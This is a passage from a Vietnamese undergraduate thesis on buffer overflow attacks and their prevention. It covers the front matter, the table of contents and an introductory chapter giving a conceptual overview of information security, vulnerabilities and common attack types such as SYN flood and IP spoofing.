nghiên cứu về tấn công lỗi tràn b ộ Đệm trong phần mềm và phòng chống
DESCRIPTION
Đồ án nghiên cứu về tấn công lỗi tràn bộ đệm trong phần mềm và phòng chốngTRANSCRIPT
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page i
LỜI CẢM ƠN
Để hoàn thành đồ án này, lời đầu tiên em xin chân thành cảm ơn các thầy giáo, cô
giáo khoa Công nghệ thông tin, Học viện Công nghệ Bưu chính Viễn thông, những
người đã dạy dỗ, trang bị cho em những kiến thức bổ ích trong những năm học vừa
qua.
Em xin bày tỏ lòng biết ơn sâu sắc nhất tới thầy giáo Hoàng Xuân Dậu, người đã
tận tình hướng dẫn, chỉ bảo em trong suốt thời gian làm đồ án này.
Nhân dịp này em xin gửi lời cảm ơn chân thành tới gia đình, bạn bè, những người
thân đã cổ vũ, động viên tiếp thêm cho em nghị lực để em hoàn thành đồ án chuyên đề.
Em xin chân thành cảm ơn !
Hà Nội, ngày 20 tháng 11 năm 2013
SINH VIÊN
NGUYỄN THĂNG LONG
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page ii
NHẬN XÉT, ĐÁNH GIÁ, CHO ĐIỂM
(Của giáo viên hướng dẫn)
……………………………………………………………...……………………………
……………………………………………………………...……………………………
……………………………………………………………...……………………………
……………………………………………………………...……………………………
……………………………………………………………...……………………………
……………………………………………………………...……………………………
……………………………………………………………...……………………………
……………………………………………………………...……………………………
……………………………………………………………...……………………………
……………………………………………………………...……………………………
……………………………………………………………...……………………………
……………………………………………………………...……………………………
……………………………………………………………...……………………………
……………………………………………………………...……………………………
……………………………………………………………...……………………………
……………………………………………………………...……………………………
……………………………………………………………...……………………………
Điểm: ……….…………….Bằng chữ: …………………………..…………….…………….)
Đồng ý/Không đồng ý cho sinh viên bảo vệ trước hội đồng đồ án tốt nghiệp?
………………….
Hà Nội, ngày tháng năm 20 .
GIẢNG VIÊN HƯỚNG DẪN
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Mục lục
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page iii
MỤC LỤC
LỜI CẢM ƠN .............................................................................................................................. i
NHẬN XÉT, ĐÁNH GIÁ, CHO ĐIỂM .................................................................................... ii
MỤC LỤC ................................................................................................................................. iii
DANH MỤC CÁC BẢNG, SƠ ĐỒ, HÌNH VẼ ......................................................................... v
DANH MỤC CÁC VÍ DỤ ........................................................................................................ vi
KÝ HIỆU CÁC CỤM TỪ VIẾT TẮT ..................................................................................... vii
ĐẶT VẤN ĐỀ ............................................................................................................................ 8
1.1. Tổng quan về an toàn bảo mật hệ thống thông tin ...................................................... 9
1.2. Các điểm yếu và các lỗ hổng an ninh hệ thống ......................................................... 12
1.2.1. Khái quát về mối đe dọa và lỗ hổng ................................................................... 12
1.3. Các dạng tấn công điển hình vào hệ thống thông tin ................................................ 13
1.3.1. Khái quát về tấn công độc hại (Malicious Attacks)............................................ 13
1.3.2. Một số dạng tấn công điển hình ......................................................................... 13
1.4. Mô tả bài toán ............................................................................................................ 16
1.5. Kết chương ................................................................................................................. 17
CHƯƠNG 2: CƠ CHẾ TẤN CÔNG LỖI TRÀN BỘ ĐỆM VÀ CÁC PHƯƠNG PHÁP
PHÒNG CHỐNG ..................................................................................................................... 18
2.1. Giới thiệu về mô hình bộ nhớ ảo trong các hệ điều hành .......................................... 18
2.1.1. Các khái niệm ..................................................................................................... 18
2.1.2. Phương thức tổ chức bộ nhớ trong máy tính ...................................................... 19
2.1.3. Quy trình cấp phát bộ nhớ .................................................................................. 22
2.2. Lỗi tràn bộ đệm và các kỹ thuật tấn công .................................................................. 24
2.2.1. Lịch sử các kỹ thuật tấn công khai thác lỗi tràn bộ đệm .................................... 24
2.2.2. Tổng quan về tấn công dựa trên lỗi tràn bộ đệm ............................................... 25
2.2.3. Cơ chế tràn bộ đệm trên Stack ........................................................................... 26
2.3. Shellcode .................................................................................................................... 29
2.4. Tấn công thực thi Shellcode lợi dụng lỗi tràn bộ đệm trên Stack .............................. 33
2.4.1. Tìm chương trình chứa lỗ hổng tràn bộ đệm ...................................................... 35
2.4.2. Xác định cấu trúc Stack mà chương trình sử dụng ............................................ 37
2.4.3. Tạo mã Shellcode muốn thực thi ........................................................................ 40
2.4.4. Tạo chuỗi Input khai thác lỗi tràn bộ đệm để thực thi mã Shellcode ................. 40
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Mục lục
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page iv
2.5. Các biện pháp phòng chống tấn công lợi dụng lỗi tràn bộ đệm ................................ 44
2.5.1. Bảo vệ trong thời gian dịch ................................................................................ 44
2.5.2. Bảo vệ trong thời gian chạy ............................................................................... 46
2.6. Kết chương ................................................................................................................. 48
CHƯƠNG 3: MÔ PHỎNG TẤN CÔNG LỖI TRÀN BỘ ĐỆM ............................................. 49
3.1. Mô phỏng tấn công lỗi tràn bộ đêm trên các HĐH họ Linux ................................... 49
3.1.1. Phát hiện chương trình có lỗ hổng tràn bộ đệm ................................................. 49
3.1.2. Tiến hành debug chương trình ........................................................................... 49
3.1.3. Xây dựng chuỗi tấn công: ................................................................................... 52
3.1.4. Kết quả demo ...................................................................................................... 53
3.2. Mô phỏng tấn công lỗi tràn bộ đệm trên HĐH Windows XP .................................... 55
3.2.1. Phát hiện chương trình có lỗ hổng tràn bộ đệm ................................................. 55
3.2.2. Tiến hành debug chương trình ........................................................................... 57
3.2.3. Xây dựng chuỗi tấn công .................................................................................... 59
3.2.4. Kết quả demo ...................................................................................................... 59
PHỤ LỤC ................................................................................................................................. 61
TÀI LIỆU THAM KHẢO ........................................................................................................ 64
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Danh mục các bảng, sơ đồ, hình vẽ
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page v
DANH MỤC CÁC BẢNG, SƠ ĐỒ, HÌNH VẼ
Hình 1: Tổ chức bộ nhớ ảo [16]. .............................................................................................. 19
Hình 2: Dữ liệu trong Stack Frame của hàm function(int a, int b) ......................................... 24
Hình 3: Dữ liệu trong StackFrame của hàmFunction(char *str) ........................................... 27
Hình 4: Tràn bộ nhớ đệm trên Stack ghi đè SavedEIP ........................................................... 28
Hình 5: Ghi đè địa chỉ trả về và trỏ đến các vùng dữ liệu khác [16] ..................................... 28
Hình 6: Trích xuất Shellcode bằng objdump (Linux) .............................................................. 30
Hình 7: Lấy địa chỉ sys_call bằng arwin.exe .......................................................................... 31
Hình 8: Các hàm xử lý bộ đệm không an toàn trong C/C++ [1] ........................................... 35
Hình 9: Phát hiện lỗ hổng tràn bộ đệm trên chương trình HĐH họ Linux ............................. 36
Hình 10: Phát hiện lỗ hổng tràn bộ đệm trên HĐH họ Windows ........................................... 37
Hình 11: Dữ liệu trong Stack khi bị tràn trên Linux ............................................................... 39
Hình 12: Dữ liệu trong Stack khi bị tràn trên Windows .......................................................... 39
Hình 13: Mô hình xây dựng chuỗi tấn công đặt tại buffer hàm bị tràn .................................. 40
Hình 14: Dữ liệu trong bộ nhớ Stack sau khi chèn mã tấn công............................................. 41
Hình 15: Mô hình xây dựng chuỗi tấn công đặt Shellcode lên Previous StackFrame ............ 42
Hình 16: Tìm địa chỉ lệnh JUMP ESP trong file Executable bằng Ollydmg .......................... 43
Hình 17: Dữ liệu trong bộ nhớ Stack sau khi chèn mã tấn công............................................. 43
Hình 18: Nhận biết tràn bộ đệm trong chương trình demo4 ................................................... 49
Hình 19: Debug chương trình bằng công cụ GDB.................................................................. 50
Hình 20: Dữ liệu trong các thanh ghi sau thời điểm hàm bị tràn ........................................... 51
Hình 21: Dữ liệu trong Stack sau khi bộ đệm bị tràn.............................................................. 52
Hình 22: Xây dựng chuỗi input tấn công ................................................................................ 53
Hình 23: Chương trình sau khi bị tiêm mã tấn công qua bộ nhập .......................................... 53
Hình 24: Kiếm tra các kết nối đang mở sau khi tấn công chương trình ................................. 54
Hình 25: Giao diện chương trình Easy RM To MP3 Converter, version 2.7.3.700................ 55
Hình 26: Dấu hiệu Chương trình Easy RM To MP3 Converter bị tràn bộ đệm ..................... 56
Hình 27: Tìm vị trí tương đối giữa SavedEIP với ESP của Frevious StackFrame ................. 57
Hình 28: Tìm địa chỉ lệnh JUMP ESP từ file .DLL bằng Ollydmg ......................................... 58
Hình 29: Xây dựng chuỗi tấn công chương trình Easy RM To MP3 Converter ..................... 59
Hình 30: Kết quả demo tấn công chương trình Easy RM To MP3 Converter ........................ 59
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page vi
DANH MỤC CÁC VÍ DỤ
Ví dụ 1: chương trình exampleCode1.c [2] .............................................................................. 22
Ví dụ 2: Chương trình exampleCode2.c [2]. ............................................................................ 27
Ví dụ 3: Mã Assembly thực thi hàm system_exit(): exit.asm .................................................... 30
Ví dụ 4: Mã Assembly chương trình sleep.asm ........................................................................ 31
Ví dụ 5: Chương trình demoPushStack.asm ............................................................................. 33
Ví dụ 6: Truyền tham số cho chương trình bằng Python ......................................................... 38
Ví dụ 7: Chương trình Perl Script tạo file tấn công input.pl .................................................... 56
Ví dụ 8: Chương trình Perl Script tạo file tấn công input.pl làm tràn vừa đủ bộ đệm ............ 56
Ví dụ 9: Xây dựng chương trình Perl Script tạo file tấn công demo1.pl .................................. 57
Ví dụ 10 Xây dựng chương trình Perl Script tạo file tấn công demo2.pl ................................. 58
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Ký hiệu các cụm từ viết tắt
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page vii
KÝ HIỆU CÁC CỤM TỪ VIẾT TẮT
Từ viết tắt Nghĩa tiếng anh Nghĩa tiếng việt
HĐH Operating System Hệ điều hành
NOP No-Operation Lệnh rỗng không thực hiện tác vụ hữu ích
SQL Structured Query Language Ngôn ngữ truy vấn có cấu trúc
FP Frame Pointer Con trỏ khung Stack
EIP Extended Instruction Pointer Thanh ghi con trỏ lệnh
ESP Extended Stack Pointer Thanh ghi con trỏ Stack
EBP Extended Base Pointer Thanh ghi con trỏ cơ sở Stack
SF Stack Frame Khung Stack
SavedEIP Saved Extends Instruction
Pointer
Giá trị con trỏ lệnh ngay trước thời điểm
hàm được gọi
SavedEBP Saved Extended Base Pointer Giá trị thanh ghi con trỏ cơ sở Stack của
khung Stack của hàm trước đó
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Đặt vấn đề
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 8
ĐẶT VẤN ĐỀ
Cùng với việc ứng dụng ngày càng rộng rãi máy tính và các phần mềm ứng dụng
trong xử lý thông tin phục vụ cuộc sống, các dạng tấn công vào hệ thống máy tính, hệ
điều hành, tấn công vào các dịch vụ và phần mềm ứng dụng đã phát triển nhanh chóng
và gây ra nhiều thiệt hại. Một trong các dạng tấn công vào hệ thống máy tính tiêu biểu
là kỹ thuật tấn công khai thác lỗi tràn bộ nhớ đệm. Các lỗi tràn bộ đệm có thể làm
chương trình ngừng hoạt động, hoặc có thể bị kẻ tấn công lợi dụng để truy nhập trái
phép, hoặc chiếm quyền điều khiển hệ thống. Các lỗi tràn bộ đệm được đánh giá là
loại lỗ hổng an ninh nghiêm trọng.
Mặc dù lỗ hổng tràn bộ đệm đã được phát hiện và khai thác từ khá lâu, các nguy
cơ cũng như tác hại của lỗ hổng này gây ra cho các hệ thống bị tấn công là rất cao.
Trong khi đó, việc phòng tránh và loại trừ nguy cơ tấn công dựa trên lỗi tràn bộ đệm
lại phụ thuộc rất nhiều vào kiến thức và kinh nghiệm của người lập trình. Do đó việc
nghiên cứu sâu về cơ chế của tấn công dựa trên lỗi tràn bộ đệm là quan trọng, giúp
người lập trình hiểu được cơ chế của tấn công lợi dụng lỗ hổng này, từ đó có những
phương án xây dựng những hệ thống an toàn. Đây cũng là lý do em chọn đề tài
“Nghiên cứu về tấn công lỗi tràn bộ đệm trong phần mềm và phòng chống” làm đồ án
tốt nghiệp đại học của mình.
Nội dung đồ án gồm có ba chương và phần kết luận:
Chương 1: Tổng quan về các lỗ hổng bảo mật và các dạng tấn công hệ
thống:
Giới thiệu tổng quan về hệ thống thông tin, an toàn bảo mật hệ thống thông tin,
các lỗ hổng bảo mật và các dạng tấn công hệ thống thông tin thông dụng.
Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và phương pháp phòng chống
Trình bày phương pháp tổ chức và cấp phát bộ nhớ ảo cho chương trình, cơ chế
gây tràn bộ đệm, tấn công lợi dụng lỗ hổng tràn bộ đệm trên Stack và phương pháp tạo
Shellcode. Thêm vào đó, chương này còn đề cập các phương pháp phòng chống tấn
công bộ nhớ đệm hiệu quả nhằm giúp xây dựng nên các hệ thống an toàn.
Chương 3: Demo cơ chế tấn công lỗi tràn bộ đệm trên HĐH họ Linux và
HĐH họ Windows
Chương này trình bày chi tiết phương pháp tấn công lợi dụng lỗ hổng tràn bộ
đệm trên cả hai HĐH họ Linux (Đại diện là Ubuntu 12.04 LTS) và HĐH họ Windows
(Đại diện là Windows XP SP2).
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 1: Tổng quan về các lỗ hổng bảo mật và các dạng tấn công HT
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 9
CHƯƠNG 1: TỔNG QUAN VỀ CÁC LỖ HỔNG BẢO MẬT
VÀ CÁC DẠNG TẤN CÔNG HỆ THỐNG
Chương 1 trình bày tổng về an toàn bảo mật hệ thống thông tin và một số lỗ hổng
cũng cũng như một số dạng tấn công hệ thống thông tin điển hình.
1.1. Tổng quan về an toàn bảo mật hệ thống thông tin
1.1.1. Khái niệm hệ thống thông tin
Hệ thống thông tin (Information System) là một hệ thống tích hợp các thành phần
nhằm phục vụ việc thu thập, lưu trữ, xử lý và trao đổi thông tin, tri thức và các sản
phẩm số. Hệ thống thông tin ngày nay được các doanh nghiệp và các tổ chức sử dụng
phổ biến với nhiều mục đích khác nhau để thực hiện và quản lý một số hoạt động
như [3][12]:
- Tương tác với khách hàng;
- Tương tác với các nhà cung cấp;
- Tương tác với các tổ chức chính quyền;
- Quảng bá thương hiệu và sản phẩm.
Nhìn chung, một hệ thống thông tin thường gồm 5 thành phần cơ bản:
- Các thiết bị phần cứng;
- Các chương trình phần mềm;
- Các cơ sở dữ liệu;
- Hệ thống truyền thông và nhân sự.
Do các hệ thống thông tin ngày càng được sử dụng rộng rãi và phục vụ cho nhiều
mục đích khác nhau, nên việc phân loại các hệ thống thông tin chỉ mang tính tương
đối. Một số hệ thống thông tin điển hình được sử dụng:
- Các hệ thống kho dữ liệu (Data Warehouses);
- Các hệ thống lập kế hoạch nguồn nhân lực doanh nghiệp (Enterprise Resource
Planning);
- Các hệ thống thông tin doanh nghiệp (Enterprise Systems);
- Các hệ chuyên gia (Expert Systems) ;
- Các máy tìm kiếm (Search Engines) ;
- Các hệ thống thông tin địa lý (Geographic Information Systems);
- Các hệ thống thông tin toàn cầu (Global Information Systems);
- Các hệ tự động hóa văn phòng (Office Automation).
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 1: Tổng quan về các lỗ hổng bảo mật và các dạng tấn công HT
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 10
1.1.2. Hệ thống thông tin dựa trên máy tính
Một hệ thống thông tin dựa trên máy tính (Computer-Based Information System -
CBIS) là một hệ thống thông tin trong đó sử dụng công nghệ máy tính để thực thi một
phần hoặc toàn bộ công việc của hệ thống thông tin. Hệ thống thông tin dựa trên máy
tính gồm có các thành phần cơ bản:
- Hardware: Phần cứng để thu thập, lưu trữ, xử lý và biểu diễn dữ liệu.
- Software: Các phần mềm chạy trên phần cứng hoặc hệ điều hành để xử lý dữ
liệu.
- Databases: Lưu trữ dữ liệu.
- Networks: Hệ thống truyền dẫn thông tin/dữ liệu.
- Procedures: Tập hợp các lệnh kết hợp các bộ phận nêu trên để xử lý. Bao gồm
các chiến lược, các chính sách, phương thức và các quy tắc sử dụng CBIS.
- People: Con người quản lý việc thực thi của hệ thống – thành phần quan trọng
trong hầu hết các CBIS.
1.1.3. An toàn bảo mật hệ thống thông tin
An toàn thông tin là việc bảo vệ chống truy nhập, sử dụng, tiết lộ, sửa đổi hoặc
phá hủy thông tin một cách trái phép. Các hệ thống và dịch vụ xử lý thông tin có khả
năng chống lại những can thiệp, lỗi và những tai họa không mong đợi, đảm bảo các
thay đổi tác động đến an toàn của hệ thống là nhỏ nhất.
Ngày nay, do việc ứng dụng máy tính trong việc lưu trữ, xử lý thông tin rất phổ
biến, nên rất cần các cơ chế đủ mạnh bảo vệ thông tin theo đặc thù hoạt động của máy
tính. Do đó xuất hiện thêm yêu cầu đảm bảo an toàn hoạt động của hệ thống máy tính
đi kèm với yêu cầu đảm bảo an toàn của hệ thống thông tin. An toàn thông tin bao hàm
hai lĩnh vực chính:
- An toàn công nghệ thông tin (IT Security), đôi khi còn được gọi là an toàn máy
tính (Computer Security), là an toàn thông tin áp dụng cho các hệ thống công nghệ.
Các hệ thống công nghệ áp dụng của tổ chức cần được đảm bảo an toàn trước các cuộc
tấn công.
- Đảm bảo thông tin (Information Assurance) là việc đảm bảo thông tin không bị
mất khi xảy ra các sự cố (trộm cắp, phá hoại, thiên tai, hỏng hóc, chiến tranh, …).
An toàn hệ thống thông tin (Information System Security) là việc đảm bảo các
thuộc tính an ninh, an toàn của hệ thống thông tin, bao gồm tính bí mật
(Confidentiality), tính toàn vẹn (Integrity) và tính sẵn sàng (còn gọi là khả dụng hoặc
sẵn dùng) của thông tin (Availability).
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 1: Tổng quan về các lỗ hổng bảo mật và các dạng tấn công HT
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 11
1.1.3.1. Tính bí mật của thông tin (Confidentiality)
Đặc trưng này còn được gọi là tính giới hạn về đối tượng được quyền truy xuất
thông tin. Theo đó chỉ những đối tượng có thẩm quyền mới được phép truy nhập vào
thông tin hoặc hệ thống. Mọi hành vi truy nhập vào thông tin hoặc hệ thống mà đối
tượng thực hiện không được phép đều được coi là vi phạm.Các thông tin bí mật có thể
gồm:
- Dữ liệu riêng cá nhân.
- Các thông tin thuộc quyền sở hữu trí tuệ của các doanh nghiệp hoặc các tổ chức.
- Các thông tin liên quan đến an ninh quốc gia.
1.1.3.2. Tính toàn vẹn của thông tin (Integrity)
Đặc trưng này có ý nghĩa đảm bảo sự tồn tại nguyên vẹn của thông tin. Mọi sự
thay đổi thông tin không có chủ đích của đối tượng được cấp quyền đều là vi phạm. Sự
toàn vẹn của thông tin trong một số trường hợp có ý nghĩa tương đương với sự đảm
bảo tính xác thực nguồn gốc của thông tin [3].
Tính toàn vẹn liên quan đến tính hợp lệ (Validity) và tính chính xác (Accuracy)
của dữ liệu. Trong nhiều trường hợp, mọi thay đổi không có thẩm quyền gây ảnh
hưởng rất lớn đến giá trị của thông tin.
Dữ liệu là toàn vẹn nếu thỏa mãn các yêu cầu sau:
- Dữ liệu không bị thay đổi bởi đối tượng không có thẩm quyền.
- Dữ liệu là hợp lệ.
- Dữ liệu là chính xác.
1.1.3.3. Tính sẵn sàng của thông tin (Avaibility)
Đặc trưng này có ý nghĩa đảm bảo tính khả dụng của thông tin cho tất cả các yêu
cầu truy xuất đến từ các đối tượng hợp lệ. Trong thực tế đặc trưng này được xem là
nền tảng quan trọng nhất để xây dựng nên hệ thống an toàn, vì nếu hệ thống không
đảm bảo tính sẵn sàng thì ý nghĩa quản lý thông tin của hệ thống sẽ không còn.
Tính sẵn sàng có thể được đo bằng các yếu tố [3]:
- Thời gian cung cấp dịch vụ (Uptime).
- Thời gian ngừng cung cấp dịch vụ (Downtime).
- Tỷ lệ phục vụ: A = (Uptime)/(Uptime + Downtime).
- Thời gian trung bình giữa các sự cố.
- Thời gian trung bình ngừng để sửa chữa.
- Thời gian khôi phục sau sự cố.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 1: Tổng quan về các lỗ hổng bảo mật và các dạng tấn công HT
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 12
1.2. Các điểm yếu và các lỗ hổng an ninh hệ thống
1.2.1. Khái quát về mối đe dọa và lỗ hổng
1.2.1.1. Mối đe dọa (Threat)
Mối đe dọa là bất kỳ hành động nào có thể gây tổn hại đến các tài nguyên hệ
thống (phần cứng, phần mềm, các file, dữ liệu, CSDL, … hoặc hạ tầng mạng vật lý,
…). Tuy nhiên không phải toàn bộ các mối đe dọa đều là độc hại, và mối đe dọa cũng
có thể được tạo nên từ nguyên nhân vô tình hoặc khách quan.
Các mối đe dọa thường gặp có thể gồm [3]:
- Phá hoại của các phần mềm độc hại
- Hư hỏng phần cứng hoặc phần mềm
- Kẻ tấn công ở bên trong
- Mất trộm các thiết bị
- Kẻ tấn công ở bên ngoài
- Tai họa thiên nhiên.
1.2.1.2. Lỗ hổng (Vulnerability)
Lỗ hổng là bất kỳ khiếm khuyết hoặc điểm yếu nào trong hệ thống có thể tạo điều
kiện cho phép một mối đe dọa gây tác hại. Các lỗ hổng an ninh tồn tại trong cả 7 vùng
của nền tảng CNTT, gồm [3]:
- Lỗ hổng trong vùng người dùng;
- Lỗ hổng trong vùng máy trạm;
- Lỗ hổng trong vùng mạng LAN;
- Lỗ hổng trong vùng LAN-to-WAN;
- Lỗ hổng trong vùng WAN;
- Lỗ hổng trong vùng truy nhập từ xa;
- Lỗ hổng trong vùng hệ thống/ứng dụng.
Trong các hệ điều hành và phần mềm ứng dụng, các lỗ hổng an ninh thường gặp
có thể gồm [3]:
- Lỗi tràn bộ đệm (Buffer Overflows);
- Không kiểm tra đầu vào (Unvalidated Input);
- Các vấn đề với điều khiển truy cập (Access-Control Problems);
- Các điểm yếu trong xác thực, trao quyền (Weaknesses in Authentication,
Authorization);
- Các điểm yếu trong các hệ mật mã (Weaknesses in Cryptographic Practices).
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 1: Tổng quan về các lỗ hổng bảo mật và các dạng tấn công HT
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 13
Mối đe dọa và lỗ hổng an ninh có mối quan hệ hữu cơ với nhau. Các mối đe dọa
thường tận dụng khai thác một hoặc tập hợp các lỗ hổng đã biết để tìm cách thực hiện
các cuộc tấn công phá hoại hệ thống.Nếu tồn tại một lỗ hổng an ninh trong hệ thống,
sẽ có khả năng lỗ hổng đó bị một mối đe dọa tận dụng và thông qua đó thực hiện
thành công cuộc tấn công vào hệ thống. Chúng ta không thể loại trừ hết được các mối
đe dọa, tuy nhiên hoàn toàn có thể giảm thiểu các lỗ hổng, nhờ vậy giảm thiểu được
khả năng bị tận dụng để tấn công.
1.3. Các dạng tấn công điển hình vào hệ thống thông tin
1.3.1. Khái quát về tấn công độc hại (Malicious Attacks)
Tấn công độc hại là cuộc tấn công vào hệ thống máy tính hoặc các tài nguyên
mạng được thực hiện bằng cách khai thác các lỗ hổng tồn tại trong hệ thống, nhằm
truy nhập trái phép vào thông tin, hệ thống hoặc các tài nguyên mạng.
Tấn công có thể chia thành 4 loại chính:
- Giả mạo (Fabrications): Giả mạo thông tin thường để đánh lừa người dùng
thông thường;
- Chặn bắt (Interceptions): Liên quan đến việc nghe trộm trên đường truyền và
chuyển hướng thông tin để sử dụng trái phép;
- Gây ngắt quãng (Interruptions): Gây ngắt kênh truyền thông ngăn cản việc
truyền dữ liệu;
- Sửa đổi (Modifications): Liên quan đến việc sửa đổi thông tin trên đường truyền
hoặc sửa đổi dữ liệu file.
Theo phương thức thực hiện, tấn công có thể chia thành hai kiểu:
- Tấn công chủ động (Active attacks): Là các dạng tấn công thực hiện sửa đổi dữ
liệu trên đường truyền, dữ liệu trong file, hoặc chiếm quyền truy nhập trái phép vào hệ
thống máy tính hoặc hệ thống mạng. Tấn công chủ động thường là một đột nhập
(Intrusion) về mặt vật lý.
- Tấn công thụ động (Passive attacks): Là dạng tấn công không gây ra thay đổi
trên hệ thống, như nghe trộm, hoặc giám sát lưu lượng trên đường truyền.
1.3.2. Một số dạng tấn công điển hình
Các dạng tấn công điển hình bao gồm, tấn công vào mật khẩu, tấn công bằng mã
độc, tấn công từ chối dịch vụ, tấn công giả mạo địa chỉ IP, tấn công nghe trộm, tấn
công kiểu người đứng giữa, tấn công bằng bom thư, tấn công sử dụng cửa hậu và tấn
công kiểu Social Engineering. Phần tiếp theo, đồ án sẽ phân tích chi tiết từng kiểu tấn
công trên.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 1: Tổng quan về các lỗ hổng bảo mật và các dạng tấn công HT
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 14
1.3.2.1. Tấn công vào mật khẩu
Tấn công vào mật khẩu là dạng tấn công nhằm đánh cắp thông tin tài khoản và
mật khẩu của đối tượng để giả danh người sử dụng truy xuất trái phép vào tài nguyên
hệ thống.Tấn công mật khẩu thường có hai dạng:
- Tấn công dựa vào từ điển (Dictionary attacks): Dựa vào xu hướng đặt mật khẩu
của người dùng là các thông tin có liên quan đến bản thân họ, hoặc mật khẩu dễ nhớ
như: tên, tuổi, ngày sinh, người thân, dãy số, … Từ đó kẻ tấn công dựa xây dựng nên
tập các mật khẩu có khả năng được người dùng sử dụng và thử các mật khẩu này.
- Tấn công kiểu vét cạn (Brute force attacks): Sử dụng công cụ và máy móc tiến
hành tổ hợp lần lượt toàn bộ các ký tự và thử mật khẩu một cách tự động. Phương
pháp này thường sử dụng để tìm ra mật khẩu khi đã nắm được dạng mã hóa của mật
khẩu.
1.3.2.2. Tấn công bằng mã độc
Tấn công bằng mã độc có thể gồm một số dạng, như lợi dụng lỗ hổng về lập trình
(như lỗi tràn bộ nhớ đệm), lỗ hổng cấu hình hệ thống để chèn và thực thi mã độc trên
hệ thống nạn nhân. Cụ thể các dạng tấn công bằng mã độc:
+ Tấn công lợi dụng lỗi tràn bộ nhớ đệm: Kẻ tấn công lợi dụng lỗi tràn bộ đệm
trên hệ thống nạn nhân để “tiêm” các đoạn mã độc vào và thực thi chúng.
+ Tấn công lợi dụng lỗi không kiểm tra đầu vào: Tấn công chèn mã SQL (SQL
injection), tấn công sử dụng mã javascript, kiểu XSS, CSRF, … Kẻ tấn công khéo léo
chèn mã SQL vào dữ liệu đầu vào và gửi các dữ liệu này tới máy chủ. Nếu máy chủ
không có cơ chế kiểm soát và lọc dữ liệu đầu vào đủ mạnh, mã SQL của kẻ tấn công
sẽ được thực hiện bởi máy chủ SQL.
+ Kẻ tấn công lừa đảo người dùng tải, cài đặt và thực thi các phần mềm độc hại:
Các phần mềm Adware, Spyware, Virus, Trojan, … được che giấu dưới dạng một
phần mềm hữu ích khiến người dùng vô tình cài đặt và thực thi trên hệ thống của
mình.
1.3.2.3. Tấn công từ chối dịch vụ
Tấn công từ chối dịch vụ (DoS- Denial of Service attacks) chỉ nhằm mục đích
ngăn chặn hoạt động bình thường của hệ thống, đặc biệt đối với các hệ thống phục vụ
trên mạng công cộng như thiết bị định tuyến, Web service, Mail server, .... Các kỹ
thuật thường dùng để gây ra các tấn công từ chối dịch vụ truyền thống là SYN Flood,
Ping-of-Death và Buffer-overflow.
+ SYN Flood: Tấn công kiểu SYN flood lợi dụng cách thức hoạt động của việc
thiết lập kết nối TCP/IP, kẻ tấn công bắt đầu quá trình thiết lập một kết nối TCP/IP tới
máy mục tiêu (máy tính đích) muốn tấn công bằng gói tin yêu cầu thiết lập kết nối
SYN với địa chỉ IP nguồn giả mạo, hoặc địa chỉ không có thực. Máy tính đích gửi gói
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 1: Tổng quan về các lỗ hổng bảo mật và các dạng tấn công HT
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 15
tin SYN ACK yêu cầu xác nhận kết nối, nhưng không thể đi đến đích do địa chỉ IP
nguồn là không có thực. Máy tính đích phải duy trì yêu cầu kết nối cho đến khi nhận
được SYN ACK hoặc hết thời hạn kết nối. Kiểu tấn công SYN flood cũngcó thể được
các kẻ tấn công áp dụng để tấn công một hệ thống mạng có băng thông lớn với một số
lượng lớn gói tin yêu cầu thiết lập kết nối.
+ Ping-of-Death: Tấn công kiểu Ping-of-Death sử dụng giao thức ICMP. Một
lệnh ping thông thường sẽ có hai thông điệp là echo request và echo reply. Khi tấn
công bằng Ping-of-Death kẻ tấn công sẽ gửi một gói tin echo request có kích thước lớn
hơn 65,536 bytes. Các gói tin này sẽ được chia nhỏ thành các segment nhỏ hơn để gửi
đi trên đường truyền, nhưng khi máy đích nhận được các gói tin này và ráp chúng lại
thì gói tin lại quá lớn so với bộ đệm của máy. Kết quả là hệ thống không thể kiểm soát
được sự bất thường, dẫn đến tình trạng khởi động lại hoặc bị treo.
+ Buffer-over-flow: Hoạt động bằng cách lợi dụng lỗ hổng tràn bộ đệm trên hệ
thống nạn nhân, từ đó kẻ tấn công gửi đi các gói tin gây tràn bộ đệm khiến cho chương
trình trên hệ thống bị tấn công ngừng hoạt động.
+ Tấn công từ chối dịch vụ phân tán (Distributed DoS- DDos): Phương thức tấn
công DDoS dựa trên nguyên tắc của DoS nhưng có mức độ nguy hiểm cao hơn do kẻ
tấn công có thể huy động cùng lúc rất nhiều máy tính bị điều khiển tham gia.
1.3.2.4. Tấn công giả mạo địa chỉ IP (IP Spoofing)
Tấn công giả mạo địa chỉ IP là dạng tấn công trong đó kẻ tấn công sử dụng địa
chỉ IP giả, thường để đánh lừa máy nạn nhân để vượt qua hàng rào kiểm soát an ninh.
